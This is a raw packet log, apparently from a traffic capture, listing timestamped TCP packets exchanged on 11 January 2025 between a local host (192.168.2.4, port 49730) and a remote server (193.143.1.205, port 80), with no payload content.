Jan 11, 2025 06:12:10.025883913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025895119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025904894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025908947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.025916100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025934935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.025968075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.026846886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026856899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026868105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026878119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026889086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026894093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.026899099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026913881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026918888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.026925087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.026941061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.026964903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.027793884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.027805090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.027859926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.027965069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.027975082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.027993917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028007984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028016090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.028019905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028052092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.028057098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028069019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028079033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.028098106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.028121948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.029417992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.035547972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.035578966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.035640001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.041945934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.073561907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073581934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073600054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073611021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073621988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073632956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073642015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.073643923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073656082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073709011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.073720932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073731899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.073776960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.097320080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.107475996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107495070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107516050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107527018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107537985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107547998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107558012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107568979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.107588053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.107654095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.111068010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111103058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111114025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111133099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111143112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111160994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111171007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111181974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111195087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.111221075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.111237049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111246109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111293077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.111365080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111373901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.111404896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.113514900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146651030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146687984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146698952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146716118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146727085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146727085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146738052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146749020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146749973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146759987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146770954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146802902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146850109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146888971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146893024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146899939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146929026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146949053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.146960974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146971941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146982908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.146995068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147020102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147094965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147104979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147114992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147135019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147173882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147185087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147195101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147205114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147213936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147242069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147332907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147361040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147372007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147372007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147408009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147412062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147419930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147449017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147577047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147588015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147593021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147603035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147614956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147623062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147624969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147636890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147654057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147803068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147814035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147824049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147841930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147867918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147897005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147906065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147916079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147938967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.147988081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.147998095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148019075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.148113012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148123026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148133993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148144960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.148165941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.148185968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148197889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148206949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148217916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148238897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.148263931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.148318052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148328066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148338079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.148356915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151638031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151679993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151688099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151700020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151705980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151722908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151732922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151736021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151743889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151771069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151793957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151806116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151829004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151834965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151839972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151879072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151896000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151906967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151917934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151928902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.151938915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.151967049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152071953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152113914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152123928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152134895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152143002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152167082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152245998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152255058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152271032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152282953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152292967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152295113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152298927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152311087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152321100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152331114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152359962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152439117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152502060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152512074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152533054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152543068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152544022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152554035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152578115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152595043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152597904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152609110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152618885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152638912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152647972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152673006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152692080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152703047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152713060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152723074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.152735949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.152754068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.160288095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160320997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160332918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160365105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.160415888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160425901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160438061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160448074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.160449982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.160475969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.173561096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.194351912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194377899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194389105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194399118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194408894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194418907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194430113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.194449902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.194510937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.197814941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.197834969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.197846889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.197886944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.198542118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.198553085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.198564053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.198575020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.198581934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.198585987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.198611975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.226861000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233448982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233469009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233486891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233500004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233510971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233521938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233531952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233541965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233552933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233555079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233586073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233597040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233623981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233650923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233653069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233660936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233670950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233680964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233691931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233697891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233719110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233733892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233736038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233747005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233758926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233768940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233788013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233793974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233798981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233870029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233880997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233891010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233901978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233910084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233923912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233936071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233942032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233973980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.233978987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.233997107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234031916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234040976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234050989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234097958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234116077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234126091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234142065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234154940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234181881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234229088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234239101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234249115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234260082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234271049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234280109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234287024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234289885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234314919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234329939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234339952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234364033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234409094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234419107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234428883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234438896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234442949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234456062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234548092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234558105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234566927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234576941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234581947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234586954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234600067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234601974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234612942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234623909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234637022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234663963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234666109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234692097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234702110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234711885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234733105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234788895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234800100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234810114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234821081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234833002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234853983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234930992 CET	80	49730	193.143.1.205	192.168.2.4
